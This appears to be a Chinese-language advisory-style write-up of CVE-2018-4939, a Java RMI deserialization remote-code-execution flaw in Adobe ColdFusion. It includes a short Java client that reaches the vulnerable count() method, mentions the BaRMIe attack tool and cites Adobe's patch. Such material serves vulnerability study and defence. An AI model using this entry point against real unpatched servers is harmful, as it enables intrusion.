2022-01-03 02:10:37
CVE-2018-4939漏洞详情
CVE-2018-4939是一个影响Adobe ColdFusion的Java RMI反序列化远程代码执行(RCE)漏洞。该漏洞允许攻击者通过向ColdFusion的Flex集成RMI服务发送恶意序列化对象来执行任意代码。
漏洞背景
漏洞细节
漏洞利用示例
以下是一个简单的RMI客户端程序示例,用于检索ColdFusion的DataServicesCFProxy对象并调用count方法:
package nb.barmie.demo;import coldfusion.flex.rmi.DataServicesCFProxy;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class CFRMIDemo { public static void main(String[] args) throws Exception { Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default"); obj.count(null, null, null); }}在count方法的第二个参数(java.lang.Object数组)中,攻击者可以提供任意对象,这些对象将在服务器上反序列化。
BaRMIe工具
BaRMIe是一个RMI枚举和攻击工具,它实现了针对ColdFusion RMI服务的漏洞利用。该工具通过代理框架在RMI连接中实现中间人攻击,允许攻击者完全控制协议并操作Java虚拟机本来会阻止的操作。
漏洞修复
Adobe已经发布了安全更新(APSB18-14)来修复此漏洞。建议用户尽快更新到最新版本以避免潜在的安全风险。
总结
CVE-2018-4939是一个严重的Java RMI反序列化漏洞,影响Adobe ColdFusion的Flex集成服务。攻击者可以通过发送恶意序列化对象来利用此漏洞执行任意代码。由于该漏洞不需要身份验证,因此具有较高的风险。建议用户及时更新Adobe ColdFusion以修复此漏洞。